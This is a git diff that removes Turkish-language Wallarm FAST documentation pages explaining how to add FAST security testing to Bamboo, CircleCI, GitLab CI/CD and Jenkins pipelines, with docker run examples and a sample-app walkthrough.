- - security_testing: - final: true - jobs: - - security_test - ``` - 2. Yeni `security_test` işinin gövdesini tanımlayın. - - ``` - security_test: - key: SCTST - tasks: - - script: - interpreter: /bin/sh - scripts: - - docker run --name fast -e WALLARM_API_TOKEN=${bamboo_WALLARM_API_TOKEN} -e CI_MODE=testing -e WALLARM_API_HOST=us1.api.wallarm.com -p 8080:8080 -e TEST_RUN_URI=http://dvwa:80 --network my-network --rm wallarm/fast - - docker stop dvwa - - docker network rm my-network - ``` - - Örnek aşağıdaki adımları içerir: - - 1. FAST düğümünü `my-network` ağında test modunda çalıştırın. Temel istek kümesi mevcut pipeline'da oluşturulup en son kaydedilen olduğu için `TEST_RECORD_ID` değişkeni atlanmıştır. Test tamamlandığında FAST düğümü otomatik olarak durdurulacaktır. - 2. `dvwa` test uygulamasını durdurun. - 3. `my-network` ağını silin. - -## Test sonucunu alma - -Güvenlik testinin sonucu Bamboo UI içindeki derleme günlüklerinde görüntülenecektir. Ayrıca, Bamboo tam `.log` dosyasını indirmeye izin verir. - -![FAST düğümünün test modunda çalıştırılmasının sonucu](../../../images/fast/poc/common/examples/bamboo-cimode/bamboo-ci-example.png) - -## Daha fazla örnek - -FAST'in Bamboo iş akışına entegrasyonuna dair daha fazla örneği [GitHub](https://github.com/wallarm/fast-examples) üzerinde bulabilirsiniz. - -!!! info "Daha fazla soru" - FAST entegrasyonuyla ilgili sorularınız varsa lütfen [bizimle iletişime geçin](mailto:support@wallarm.com). \ No newline at end of file diff --git a/docs/latest-tr/fast/poc/examples/circleci-cimode.md b/docs/latest-tr/fast/poc/examples/circleci-cimode.md deleted file mode 100644 index d1c61a1fd0..0000000000 --- a/docs/latest-tr/fast/poc/examples/circleci-cimode.md +++ /dev/null @@ -1,80 +0,0 @@ -[circleci-config-yaml]: https://circleci.com/docs/2.0/writing-yaml/#section=configuration -[fast-node-token]: ../../operations/create-node.md -[circleci-set-env-var]: https://circleci.com/docs/2.0/env-vars/#setting-an-environment-variable-in-a-project -[circleci-example-env-var]: ../../../images/fast/poc/common/examples/circleci-cimode/circleci-env-var-example.png -[fast-example-result]: ../../../images/fast/poc/common/examples/circleci-cimode/circleci-example.png -[fast-ci-mode-record]: ../ci-mode-recording.md#environment-variables-in-recording-mode -[fast-ci-mode-test]: ../ci-mode-testing.md#environment-variables-in-testing-mode -[mail-to-us]: mailto:support@wallarm.com -[fast-examples-github]: https://github.com/wallarm/fast-examples -[fast-example-circleci]: https://circleci.com/gh/wallarm/fast-example-circleci-dvwa-integration - - -# FAST'in CircleCI ile Entegrasyonu - -CI MODE'de FAST'in CircleCI iş akışına entegrasyonu `~/.circleci/config.yml` dosyası üzerinden yapılandırılır. CircleCI iş akışı yapılandırması hakkında daha fazla bilgi için [CircleCI resmi dokümantasyonuna][circleci-config-yaml] bakın. - -## FAST Düğüm Belirtecinin Aktarılması - -[FAST düğüm belirtecini][fast-node-token] güvenli şekilde kullanmak için, değerini [proje ayarlarınızda bir ortam değişkeni][circleci-set-env-var] olarak iletin. - -![CircleCI ortam değişkeninin iletilmesi][circleci-example-env-var] - ---8<-- "../include/fast/fast-cimode-integration-examples/configured-workflow.md" - -## İstek Kaydı Adımının Eklenmesi - ---8<-- "../include/fast/fast-cimode-integration-examples/request-recording-setup.md" - -??? info "Kayıt modunda çalışan FAST düğümü ile otomatikleştirilmiş test adımı örneği" - ``` - - run: - name: Start tests & FAST record - command: | - docker network create my-network \ - && docker run --rm --name fast -d -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=recording -e WALLARM_API_HOST=us1.api.wallarm.com -p 8080:8080 --network my-network wallarm/fast \ - && docker run --rm -d --name selenium -p 4444:4444 -e http_proxy='http://fast:8080' -e https_proxy='https://fast:8080' --network my-network selenium/standalone-firefox:latest \ - && docker run --rm --name app-test --network my-network -e CAPYBARA_SERVER_HOST=app-test -p 3000:3000 test-application bundle exec rspec spec/features/posts_spec.rb \ - && docker stop selenium fast - ``` - - Örnek aşağıdaki adımları içerir: - - 1. Docker ağı `my-network`'i oluşturun. - 2. FAST düğümünü `my-network` ağında kayıt modunda çalıştırın. - 3. Otomatik test aracı Selenium'u, FAST düğümünü proxy olarak kullanarak `my-network` ağında çalıştırın. - 4. Test uygulamasını ve otomatik testleri `my-network` ağında çalıştırın. - 5. Otomatik test aracı Selenium'u ve kayıt modundaki FAST düğümünü durdurun. - -## Güvenlik Testi Adımının Eklenmesi - ---8<-- "../include/fast/fast-cimode-integration-examples/security-testing-setup.md" - -??? info "Güvenlik testi adımı örneği" - ``` - - run: - name: Start FAST tests - command: | - docker run --rm -d --name app-test --network my-network -e CAPYBARA_SERVER_HOST=app-test -p 3000:3000 test-application \ - && docker run --name fast -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=testing -e WALLARM_API_HOST=us1.api.wallarm.com -p 8080:8080 --network my-network -e TEST_RUN_URI="http://app-test:3000" --rm wallarm/fast \ - && docker stop app-test - ``` - - Örnek aşağıdaki adımları içerir: - - 1. Test uygulamasını `my-network` ağında çalıştırın. - 2. FAST düğümünü `my-network` ağında test modunda çalıştırın. Temel istekler kümesi mevcut pipeline içinde oluşturulup en son kaydedilen olduğu için `TEST_RECORD_ID` değişkeni atlanmıştır. Test tamamlandığında FAST düğümü otomatik olarak duracaktır. - 3. Test uygulamasını durdurun. - -## Test Sonucunun Alınması - -Güvenlik testinin sonucu CircleCI arayüzünde görüntülenecektir. - -![Test modunda FAST düğümünün çalıştırılmasının sonucu][fast-example-result] - -## Daha Fazla Örnek - -FAST'in CircleCI iş akışına entegrasyonuna ilişkin örnekleri [GitHub][fast-examples-github] ve [CircleCI][fast-example-circleci] üzerinde bulabilirsiniz. - -!!! info "Daha fazla soru" - FAST entegrasyonuyla ilgili sorularınız varsa, lütfen [bizimle iletişime geçin][mail-to-us]. \ No newline at end of file diff --git a/docs/latest-tr/fast/poc/examples/circleci.md b/docs/latest-tr/fast/poc/examples/circleci.md deleted file mode 100644 index 83adf7ba12..0000000000 --- a/docs/latest-tr/fast/poc/examples/circleci.md +++ /dev/null @@ -1,226 +0,0 @@ -[img-demo-app]: ../../../images/fast/poc/common/examples/demo-app.png -[img-testing-flow]: ../../../images/fast/poc/en/examples/testing-flow.png -[img-testing-flow-fast]: ../../../images/fast/poc/en/examples/testing-flow-fast.png -[img-services-relations]: ../../../images/fast/poc/common/examples/api-services-relations.png -[img-test-traffic-flow]: ../../../images/fast/poc/en/examples/test-traffic-flow.png - -[img-cci-pass-token]: ../../../images/fast/poc/common/examples/circleci/pass-token.png -[img-cci-pass-results]: ../../../images/fast/poc/common/examples/circleci/pass-results.png -[img-cci-workflow]: ../../../images/fast/poc/en/examples/circleci/api-workflow.png - -[img-cci-demo-pass-token]: ../../../images/fast/poc/common/examples/circleci/demo-pass-token.png -[img-cci-demo-rspec-tests]: ../../../images/fast/poc/common/examples/circleci/api-demo-rspec-tests.png -[img-cci-demo-testrun]: ../../../images/fast/poc/common/examples/circleci/demo-testrun.png -[img-cci-demo-tests-failed]: ../../../images/fast/poc/common/examples/circleci/demo-tests-failed.png -[img-cci-demo-vuln-details]: ../../../images/fast/poc/common/examples/circleci/demo-vuln-details.png - -[doc-env-variables]: ../../operations/env-variables.md -[doc-testrun-steps]: ../../operations/internals.md#test-run-execution-flow-baseline-requests-recording-takes-place -[doc-testrun-creation]: ../node-deployment.md#creating-a-test-run -[doc-get-token]: ../../operations/create-node.md -[doc-stopping-recording]: ../stopping-recording.md -[doc-waiting-for-tests]: ../waiting-for-tests.md -[doc-node-ready-for-recording]: ../node-deployment.md#creating-a-test-run - -[link-api-recoding-mode]: ../integration-overview-api.md#deployment-via-the-api-when-baseline-requests-recording-takes-place - -[link-example-project]: https://github.com/wallarm/fast-example-api-circleci-rails-integration -[link-rspec]: https://rspec.info/ -[link-capybara]: https://github.com/teamcapybara/capybara -[link-selenium]: https://www.seleniumhq.org/ -[link-docker-compose-build]: https://docs.docker.com/compose/reference/build/ -[link-circleci]: https://circleci.com/ - -[link-wl-portal]: https://us1.my.wallarm.com -[link-wl-portal-testrun-tab]: https://us1.my.wallarm.com/testing/?status=running - -[anchor-project-description]: #how-the-sample-application-works -[anchor-cci-integration-description]: #how-fast-integrates-with-rspec-and-circleci -[anchor-cci-integration-demo]: #demo-of-the-fast-integration - -# FAST'in CI/CD'ye Entegrasyonu Örneği - -!!! info "Bölüm kuralları" - Bölüm boyunca örnek değer olarak şu token kullanılmıştır: `token_Qwe12345`. - -Wallarm’ın GitHub’ında bir örnek proje [fast-example-api-circleci-rails-integration][link-example-project] mevcuttur. Amacı, FAST’in mevcut CI/CD süreçlerine nasıl entegre edileceğini göstermektir. Bu örnek, [“Temel İsteklerin Kaydı Gerçekleşirken API üzerinden Dağıtım”][link-api-recoding-mode] senaryosunu izler. - -Bu belge şu bilgileri içerir: -1. [Örnek uygulamanın nasıl çalıştığının açıklaması.][anchor-project-description] -2. [FAST entegrasyonunun adım adım ayrıntılı açıklaması.][anchor-cci-integration-description] -3. [FAST entegrasyonunun çalışır halde demosu.][anchor-cci-integration-demo] - -## Örnek Uygulama Nasıl Çalışır - -Örnek uygulama, bir blogda gönderi yayınlamanızı ve blog gönderilerini yönetmenizi sağlayan bir web uygulamasıdır. - -![Örnek uygulama][img-demo-app] - -Uygulama Ruby on Rails ile yazılmıştır ve bir Docker konteyneri olarak sunulmuştur. - -Ayrıca, uygulama için [RSpec][link-rspec] entegrasyon testleri oluşturulmuştur. RSpec, web uygulamasıyla etkileşim kurmak için [Capybara][link-capybara] kullanır ve Capybara, uygulamaya HTTP istekleri göndermek için [Selenium][link-selenium] kullanır: - -![Test akışı][img-testing-flow] - -RSpec, aşağıdaki senaryoları test etmek için birkaç entegrasyon testi yürütür: -* Gönderilerin yer aldığı sayfaya gitme -* Yeni bir gönderi oluşturma -* Mevcut bir gönderiyi güncelleme -* Mevcut bir gönderiyi silme - -Capybara ve Selenium, bu testleri uygulamaya yönelik bir dizi HTTP isteğine dönüştürmeye yardımcı olur. - -!!! info "Testlerin Konumu" - Yukarıda bahsedilen entegrasyon testleri `spec/features/posts_spec.rb` dosyasında açıklanmıştır. - -## FAST, RSpec ve CircleCI ile Nasıl Entegre Olur - -Burada, örnek proje için FAST’in RSpec ve CircleCI ile entegrasyonunun genel bir görünümünü bulacaksınız. - -RSpec, test öncesi ve sonrası kancaları (hook) destekler: - -``` -config.before :context, type: :feature do - # RSpec testlerinin yürütülmesinden önce yapılacak işlemler - end - # RSpec testlerinin yürütülmesi - config.after :context, type: :feature do - # RSpec testlerinin yürütülmesinden sonra yapılacak işlemler - end -``` - -Bu, esasen RSpec’in uygulamayı test etmek için attığı adımların, FAST güvenlik testlerini içeren adımlarla zenginleştirilebileceği anlamına gelir. - -Bir Selenium sunucusunu `HTTP_PROXY` ortam değişkeni ile bir proxy sunucusuna yönlendirebiliriz. Böylece uygulamaya giden HTTP istekleri proxy’lenir. Proxyleme mekanizmasının kullanımı, entegrasyon testlerinin gönderdiği istekleri mevcut test akışına minimum müdahale ile FAST node’u üzerinden geçirmenize olanak tanır: - -![FAST ile test akışı][img-testing-flow-fast] - -Tüm bu hususlar göz önünde bulundurularak bir CircleCI işi oluşturulmuştur. İş şu adımlardan oluşur (`.circleci/config.yml` dosyasına bakınız): - -1. Gerekli hazırlıklar: - - [Bir token edinmeniz][doc-get-token] ve değerini `TOKEN` ortam değişkeni aracılığıyla CircleCI projesine geçirmeniz gerekir. -Yeni bir CI işi oluşturulduktan sonra, değişkenin değeri işin yürütüldüğü Docker konteynerine aktarılır. - - ![Token'ı CircleCI'ye iletin][img-cci-pass-token] - -2. Servisleri oluşturma - - Bu aşamada, bir dizi servis için birkaç Docker konteyneri oluşturulur. Konteynerler paylaşılan bir Docker ağına yerleştirilir. Bu nedenle, birbirleriyle hem IP adresleri hem de konteyner adları üzerinden iletişim kurabilirler. - - Aşağıdaki servisler oluşturulur (`docker-compose.yaml` dosyasına bakınız): - - * `app-test`: hedef uygulama ve test aracı için bir servis. - - Servis için Docker imajı aşağıdaki bileşenleri içerir: - - * Hedef uygulama (dağıtımdan sonra HTTP üzerinden `app-test:3000` adresinden erişilebilir). - - * Capybara ile birleştirilmiş RSpec test aracı; Bu araç, FAST güvenlik testlerini çalıştırmak için gereken tüm işlevleri içerir. - - * Capybara: HTTP isteklerini Selenium sunucusu `selenium:4444` kullanarak hedef uygulama `app-test:3000` adresine gönderecek şekilde yapılandırılmıştır (`spec/support/capybara_settings.rb` dosyasına bakınız). - - Token, servisin konteynerine `WALLARM_API_TOKEN=$TOKEN` ortam değişkeni ile iletilir. Token, bir test çalıştırması üzerinde işlemler gerçekleştirmek için `config.before` ve `config.after` bölümlerinde (bkz. `spec/support/fast-helper.rb` dosyası) tanımlanan fonksiyonlar tarafından kullanılır. - - * `fast`: FAST node’u için bir servis. - - Node, dağıtımdan sonra HTTP üzerinden `fast:8080` adresinden erişilebilir. - - Token, servisin konteynerine `WALLARM_API_TOKEN=$TOKEN` ortam değişkeni ile iletilir. Token, FAST’in doğru çalışması için gereklidir. - - !!! info "Temel isteklerle ilgili not" - Sunulan örnek, `ALLOWED_HOSTS` [ortam değişkenini][doc-env-variables] kullanmaz. Bu nedenle, FAST node’u gelen tüm istekleri temel (baseline) istek olarak tanır. - - * `selenium`: Selenium sunucusu için bir servis. `app-test` konteynerindeki Capybara, çalışması için bu sunucuyu kullanır. - - İsteklerin FAST node’u üzerinden proxy’lenmesini etkinleştirmek için servisin konteynerine `HTTP_PROXY=http://fast:8080` ortam değişkeni verilir. - - Servise dağıtımdan sonra HTTP üzerinden `selenium:4444` adresinden erişilebilir. - - Tüm servisler aralarında aşağıdaki ilişkileri oluşturur: - - ![Servisler arasındaki ilişkiler][img-services-relations] - -3. Yukarıdaki ilişkilere bağlı olarak, servisler aşağıdaki sıkı sırayla dağıtılmalıdır: - 1. `fast`. - 2. `selenium`. - 3. `app-test`. - - `fast` ve `selenium` servisleri, `docker-compose up -d fast selenium` komutu çalıştırılarak sıralı bir şekilde dağıtılır. - -4. Selenium sunucusu ve FAST node’u başarıyla dağıtıldıktan sonra `app-test` servisini dağıtma ve RSpec testlerini yürütme zamanı gelir. - - Bunu yapmak için aşağıdaki komut çalıştırılır: - - `docker-compose run --name app-test --service-ports app-test bundle exec rspec spec/features/posts_spec.rb`. - - Test ve HTTP trafik akışları aşağıdaki görselde gösterilmiştir: - - ![Test ve HTTP trafik akışları][img-test-traffic-flow] - - [Senaryoya][link-api-recoding-mode] uygun olarak, RSpec testleri FAST güvenlik testlerini çalıştırmak için gerekli tüm adımları içerir (`spec/support/fast_hooks.rb` dosyasına bakınız): - - 1. RSpec testlerinin yürütülmesinden önce bir test çalıştırması [oluşturulur][doc-testrun-creation]. - - Ardından FAST node’unun temel istekleri kaydetmeye hazır olup olmadığını kontrol etmek için bir API çağrısı [yapılır][doc-node-ready-for-recording]. Node hazır olana kadar mevcut testlerin yürütme süreci başlatılmaz. - - !!! info "Kullanılan test politikası" - Bu örnek varsayılan test politikasını kullanır. - - 2. RSpec testleri yürütülür. - 3. RSpec testleri tamamlandıktan sonra aşağıdaki işlemler gerçekleştirilir: - 1. Temel isteklerin kaydı [durdurulur][doc-stopping-recording]; - 2. Test çalıştırmasının durumu [periyodik olarak izlenir][doc-waiting-for-tests]: - * FAST güvenlik testleri başarıyla tamamlanırsa (test çalıştırmasının durumu `state: passed`), RSpec’e `0` çıkış kodu döndürülür. - * FAST güvenlik testleri başarısız tamamlanırsa (bazı zafiyetler bulundu ve test çalıştırmasının durumu `state: failed`), RSpec’e `1` çıkış kodu döndürülür. - -5. Test sonucunun alınması: - - RSpec sürecinin çıkış kodu `docker-compose run` sürecine ve ardından CircleCI’ye aktarılır. - - ![CircleCI'de iş sonucu][img-cci-pass-results] - -Açıklanan CircleCI işi, [daha önce][link-api-recoding-mode] listelenen adımları yakından takip eder: - -![Ayrıntılı CircleCI işi][img-cci-workflow] - -## FAST entegrasyonunun demosu - -1. Wallarm cloud içinde bir FAST node’u [oluşturun][doc-get-token] ve verilen token’ı kopyalayın. -2. [Örnek proje dosyalarını][link-example-project] kendi GitHub deponuza kopyalayın. -3. GitHub deponuzu [CircleCI][link-circleci] içine ekleyin (CircleCI’de “Follow Project” düğmesine basın); böylece depodaki içeriği her değiştirdiğinizde CI işi tetiklenir. CircleCI terminolojisinde bir depo “a project” olarak adlandırılır. -4. CircleCI projenize bir `TOKEN` ortam değişkeni ekleyin. Bunu projenin ayarlarında yapabilirsiniz. FAST token’ını bu değişkenin değeri olarak iletin: - - ![Token'ı projeye iletin][img-cci-demo-pass-token] - -5. CI işini başlatmak için depoya bir şey push’layın. RSpec entegrasyon testlerinin başarıyla tamamlandığından emin olun (işin konsol çıktısına bakınız): - - ![RSpec testleri geçti][img-cci-demo-rspec-tests] - -6. Test çalıştırmasının yürütüldüğünden emin olun. - - Wallarm hesabı bilgilerinizle [Wallarm portal][link-wl-portal] içine giriş yapabilir ve uygulamanın zafiyetlere karşı gerçek zamanlı test sürecini gözlemlemek için [“Testruns” sekmesine][link-wl-portal-testrun-tab] gidebilirsiniz: - - ![Test yürütümü][img-cci-demo-testrun] - -7. Test süreci tamamlandıktan sonra CI iş durumunun “Failed” olarak raporlandığını görebilirsiniz: - - ![CI işinin tamamlanması][img-cci-demo-tests-failed] - - Test edilenin Wallarm demo uygulaması olduğu göz önüne alınırsa, başarısız CI işi, FAST’in uygulamada tespit ettiği zafiyetleri temsil eder (yapı günlüklerinde “FAST tests have failed” mesajı görünmelidir). Bu durumda başarısızlık, derleme ile ilgili herhangi bir teknik sorun nedeniyle değil, zafiyet bulunması nedeniyledir. - - !!! info "Hata mesajı" - “FAST tests have failed” hata mesajı, `spec/support/fast_helper.rb` dosyasında bulunan `wait_test_run_finish` metodu tarafından üretilir; bu da `1` çıkış kodu ile sonlandırmadan önce gerçekleşir. - -8. Test süreci sırasında CircleCI konsolunda tespit edilen zafiyetler hakkında bilgi gösterilmez. - - Zafiyetleri ayrıntılı olarak Wallarm portal üzerinde inceleyebilirsiniz. Bunu yapmak için test çalıştırmasının bağlantısına gidin. Bu bağlantı, CircleCI konsolundaki FAST bilgilendirme mesajının bir parçası olarak görüntülenir. - - Bu bağlantı şu şekilde görünmelidir: - `https://us1.my.wallarm.com/testing/testruns/test_run_id` - - Örneğin, örnek uygulamada birkaç XSS zafiyeti bulunduğunu görmek için tamamlanmış test çalıştırmasına göz atabilirsiniz: - - ![Zafiyet hakkında ayrıntılı bilgi][img-cci-demo-vuln-details] - -Sonuç olarak, FAST’in mevcut CI/CD süreçlerine güçlü entegrasyon yeteneklerine sahip olduğu ve entegrasyon testleri hatasız geçse bile uygulamadaki zafiyetleri bulabildiği gösterilmiştir. \ No newline at end of file diff --git a/docs/latest-tr/fast/poc/examples/gitlabcicd-cimode.md b/docs/latest-tr/fast/poc/examples/gitlabcicd-cimode.md deleted file mode 100644 index 363377726b..0000000000 --- a/docs/latest-tr/fast/poc/examples/gitlabcicd-cimode.md +++ /dev/null @@ -1,100 +0,0 @@ -[gitlabcicd-config-yaml]: https://docs.gitlab.com/ee/ci -[fast-node-token]: ../../operations/create-node.md -[gitlabci-set-env-var]: https://docs.gitlab.com/ee/ci/variables/ -[gitlabci-example-env-var]: ../../../images/fast/poc/common/examples/gitlabci-cimode/gitlab-ci-env-var-example.png -[fast-example-gitlab-result]: ../../../images/fast/poc/common/examples/gitlabci-cimode/gitlab-ci-example.png -[fast-ci-mode-record]: ../ci-mode-recording.md#environment-variables-in-recording-mode -[fast-ci-mode-test]: ../ci-mode-testing.md#environment-variables-in-testing-mode -[mail-to-us]: mailto:support@wallarm.com -[fast-examples-github]: https://github.com/wallarm/fast-examples -[fast-example-gitlab-cicd]: https://gitlab.com/wallarm/fast-example-gitlab-dvwa-integration - -# FAST'in GitLab CI/CD ile Entegrasyonu - -CI MODE'da FAST'in GitLab CI/CD iş akışına entegrasyonu `~/.gitlab-ci.yml` dosyası aracılığıyla yapılandırılır. GitLab CI/CD iş akışı yapılandırması hakkında daha fazla ayrıntı [GitLab resmi dokümantasyonu][gitlabcicd-config-yaml] içinde mevcuttur. - -## FAST Node Token'ını İletme - -[FAST düğüm token'ını][fast-node-token] güvenli bir şekilde kullanmak için, değerini [proje ayarlarınızda bir ortam değişkeni][gitlabci-set-env-var] olarak iletin. - -![GitLab CI/CD ortam değişkenini iletme][gitlabci-example-env-var] - ---8<-- "../include/fast/fast-cimode-integration-examples/configured-workflow.md" - -## İstek Kaydı Adımını Ekleme - ---8<-- "../include/fast/fast-cimode-integration-examples/request-recording-setup.md" - -??? info "Kayıt modunda çalışan FAST düğümü ile otomatik test adımı örneği" - ``` - test: - stage: test - script: - - docker network create my-network - - docker run --name fast -d -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=recording -e WALLARM_API_HOST=us1.api.wallarm.com -p 8080:8080 --network my-network --rm wallarm/fast - - docker run --rm -d --name selenium -p 4444:4444 -e http_proxy='http://fast:8080' -e https_proxy='https://fast:8080' --network my-network selenium/standalone-firefox:latest - - docker run --rm --name app-test --network my-network -e CAPYBARA_SERVER_HOST=app-test -p 3000:3000 app-test bundle exec rspec spec/features/posts_spec.rb - - docker stop selenium fast - - docker network rm my-network - ``` - - Örnek aşağıdaki adımları içerir: - - 1. `my-network` adlı Docker ağı oluşturun. - 2. FAST düğümünü `my-network` üzerinde kayıt modunda çalıştırın. - 3. `my-network` üzerinde FAST düğümünü proxy olarak kullanarak Selenium otomatik test aracını çalıştırın. - 4. Test uygulamasını ve otomatik testleri `my-network` üzerinde çalıştırın. - 5. Selenium'u ve FAST düğümünü durdurun. - -## Güvenlik Testi Adımını Ekleme - ---8<-- "../include/fast/fast-cimode-integration-examples/security-testing-setup.md" - -??? info "Güvenlik testi adımı örneği" - 1. `stages` listesine `security_test` ekleyin. - - ``` - stages: - - build - - test - - security_test - - cleanup - ``` - 2. Yeni `security_test` aşamasının gövdesini tanımlayın. - - ``` - security_test: - stage: security_test - script: - - docker network create my-network - - docker run --rm -d --name app-test --network my-network -e CAPYBARA_SERVER_HOST=app-test -p 3000:3000 app-test - - sleep 5 - - docker run --name fast -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=testing -e WALLARM_API_HOST=us1.api.wallarm.com -p 8080:8080 --network my-network -e TEST_RUN_URI="http://app-test:3000" --rm wallarm/fast - - docker stop app-test - ``` - - Örnek aşağıdaki adımları içerir: - - 1. `my-network` adlı Docker ağı oluşturun. - 2. Test uygulamasını `my-network` üzerinde çalıştırın. - 3. FAST düğümünü `my-network` üzerinde test modunda çalıştırın. Temel istek kümesi mevcut pipeline'da oluşturulduğu ve son kaydedilen set olduğu için `TEST_RECORD_ID` değişkeni atlanmıştır. Test tamamlandığında FAST düğümü otomatik olarak duracaktır. - 4. Test uygulamasını durdurun. - -## Test Sonucunu Alma - -Güvenlik testi sonucu GitLab CI/CD arayüzünde görüntülenecektir. - -![FAST düğümünün test modunda çalıştırılmasının sonucu][fast-example-gitlab-result] - -## Daha Fazla Örnek - -FAST'in GitLab CI/CD iş akışına entegrasyonu örneklerini [GitHub][fast-examples-github] ve [GitLab][fast-example-gitlab-cicd] üzerinde bulabilirsiniz. - -!!! info "Daha fazla soru" - FAST entegrasyonuyla ilgili sorularınız varsa, lütfen [bizimle iletişime geçin][mail-to-us]. - - \ No newline at end of file diff --git a/docs/latest-tr/fast/poc/examples/jenkins-cimode.md b/docs/latest-tr/fast/poc/examples/jenkins-cimode.md deleted file mode 100644 index ab4bd417a2..0000000000 --- a/docs/latest-tr/fast/poc/examples/jenkins-cimode.md +++ /dev/null @@ -1,88 +0,0 @@ -[jenkins-config-pipeline]: https://jenkins.io/doc/book/pipeline -[fast-node-token]: ../../operations/create-node.md -[jenkins-parameterized-build]: https://wiki.jenkins.io/display/JENKINS/Parameterized+Build -[jenkins-example-env-var]: ../../../images/fast/poc/common/examples/jenkins-cimode/jenkins-add-token-example.png -[fast-example-jenkins-result]: ../../../images/fast/poc/common/examples/jenkins-cimode/jenkins-result-example.png -[fast-ci-mode-record]: ../ci-mode-recording.md#environment-variables-in-recording-mode -[fast-ci-mode-test]: ../ci-mode-testing.md#environment-variables-in-testing-mode -[mail-to-us]: mailto:support@wallarm.com -[fast-examples-github]: https://github.com/wallarm/fast-examples - -# FAST'in Jenkins ile Entegrasyonu - -CI MODE'da FAST'in Jenkins iş akışına entegrasyonu `Jenkinsfile` dosyası üzerinden yapılandırılır. Jenkins iş akışı yapılandırması hakkında daha fazla ayrıntı [Jenkins resmi dokümantasyonu][jenkins-config-pipeline] içinde mevcuttur. - -## FAST Düğüm Belirteci (Token) İletimi - -[FAST düğüm belirtecini][fast-node-token] güvenli biçimde kullanmak için, değerini [proje ayarlarınızda bir ortam değişkeni olarak][jenkins-parameterized-build] iletin. - -![Jenkins ortam değişkeninin iletilmesi][jenkins-example-env-var] - ---8<-- "../include/fast/fast-cimode-integration-examples/configured-workflow.md" - -## İstek Kaydı Adımının Eklenmesi - ---8<-- "../include/fast/fast-cimode-integration-examples/request-recording-setup.md" - -??? info "Kayıt modunda çalışan FAST düğümü ile otomatik test adımı örneği" - ``` - stage('Run autotests with recording FAST node') { - steps { - sh label: 'create network', script: 'docker network create my-network' - sh label: 'run fast with recording', script: 'docker run --rm --name fast -d -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=recording -e WALLARM_API_HOST=us1.api.wallarm.com -p 8088:8080 --network my-network wallarm/fast' - sh label: 'run selenium', script: 'docker run --rm -d --name selenium -p 4444:4444 --network my-network -e http_proxy=\'http://fast:8080\' -e https_proxy=\'https://fast:8080\' selenium/standalone-firefox:latest' - sh label: 'run application', script: 'docker run --rm --name app-test --network my-network -e CAPYBARA_SERVER_HOST=app-test -p 3000:3000 app-test bundle exec rspec spec/features/posts_spec.rb' - sh label: 'stop selenium', script: 'docker stop selenium' - sh label: 'stop fast', script: 'docker stop fast' - sh label: 'remove network', script: 'docker network rm my-network' - } - } - ``` - - Örnek aşağıdaki adımları içerir: - - 1. `my-network` adlı Docker ağını oluşturun. - 2. FAST düğümünü `my-network` ağında kayıt modunda çalıştırın. - 3. `my-network` ağında FAST düğümünü proxy olarak kullanarak otomasyon test aracı Selenium'u çalıştırın. - 4. Test uygulamasını ve otomatik testleri çalıştırın. - 5. Selenium'u ve FAST düğümünü durdurun. - 6. `my-network` ağını silin. - -## Güvenlik Testi Adımının Eklenmesi - ---8<-- "../include/fast/fast-cimode-integration-examples/security-testing-setup.md" - -??? info "Güvenlik testi adımı örneği" - - ``` - stage('Run security tests') { - steps { - sh label: 'create network', script: 'docker network create my-network' - sh label: 'start application', script: ' docker run --rm -d --name app-test --network my-network -e CAPYBARA_SERVER_HOST=app-test -p 3000:3000 app-test' - sh label: 'run fast in testing mode', script: 'docker run --name fast -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE="testing" -e WALLARM_API_HOST="us1.api.wallarm.com" --network my-network -e TEST_RUN_URI="http://app-test:3000" --rm wallarm/fast' - sh label: 'stop application', script: ' docker stop app-test ' - sh label: 'remove network', script: ' docker network rm my-network ' - } - } - ``` - - Örnek aşağıdaki adımları içerir: - - 1. `my-network` adlı Docker ağını oluşturun. - 2. Test uygulamasını `my-network` ağında çalıştırın. - 3. FAST düğümünü `my-network` ağında test modunda çalıştırın. `TEST_RECORD_ID` değişkeni atlanmıştır çünkü temel istek kümesi mevcut pipeline içinde oluşturulmuştur ve en son kaydedilendir. Test tamamlandığında FAST düğümü otomatik olarak duracaktır. - 4. Test uygulamasını durdurun. - 5. `my-network` ağını silin. - -## Test Sonucunun Elde Edilmesi - -Güvenlik testinin sonucu Jenkins arayüzünde görüntülenecektir. - -![Test modunda çalışan FAST düğümünün sonucu][fast-example-jenkins-result] - -## Daha Fazla Örnek - -FAST'in Jenkins iş akışına entegrasyonuna yönelik örnekleri [GitHub][fast-examples-github]'ımızda bulabilirsiniz. - -!!! info "Daha fazla soru" - FAST entegrasyonuyla ilgili sorularınız varsa lütfen [bizimle iletişime geçin][mail-to-us]. \ No newline at end of file diff --git a/docs/latest-tr/fast/poc/integration-overview-api.md b/docs/latest-tr/fast/poc/integration-overview-api.md deleted file mode 100644 index bcad6bf2af..0000000000 --- a/docs/latest-tr/fast/poc/integration-overview-api.md +++ /dev/null @@ -1,104 +0,0 @@ -[img-sample-job-recording]: ../../images/fast/poc/en/integration-overview/sample-job.png -[img-sample-job-no-recording]: ../../images/fast/poc/en/integration-overview/sample-job-no-recording.png - -[doc-testrun]: ../operations/internals.md#test-run -[doc-container-deployment]: node-deployment.md#deployment-of-the-docker-container-with-the-fast-node -[doc-testrun-creation]: node-deployment.md#creating-a-test-run -[doc-testrun-copying]: node-deployment.md#copying-a-test-run -[doc-proxy-configuration]: proxy-configuration.md -[doc-stopping-recording]: stopping-recording.md -[doc-testrecord]: ../operations/internals.md#test-record -[doc-waiting-for-tests]: waiting-for-tests.md - -[anchor-recording]: #deployment-via-the-api-when-baseline-requests-recording-takes-place -[anchor-no-recording]: #deployment-via-the-api-when-prerecorded-baseline-requests-are-used - -[doc-integration-overview]: integration-overview.md - -# Wallarm API aracılığıyla entegrasyon - -Birden fazla dağıtım yöntemi vardır: -1. [Temel isteklerin kaydı gerçekleşirken API üzerinden dağıtım.][anchor-recording] -2. [Önceden kaydedilmiş temel istekler kullanılırken API üzerinden dağıtım.][anchor-no-recording] - - -## Temel İsteklerin Kaydı Gerçekleşirken API Üzerinden Dağıtım - -Bu senaryoda bir [test çalıştırması][doc-testrun] oluşturulur. Temel istekler, test çalıştırmasına karşılık gelen bir test kaydına kaydedilecektir. - -İlgili iş akışı adımları şunlardır: - 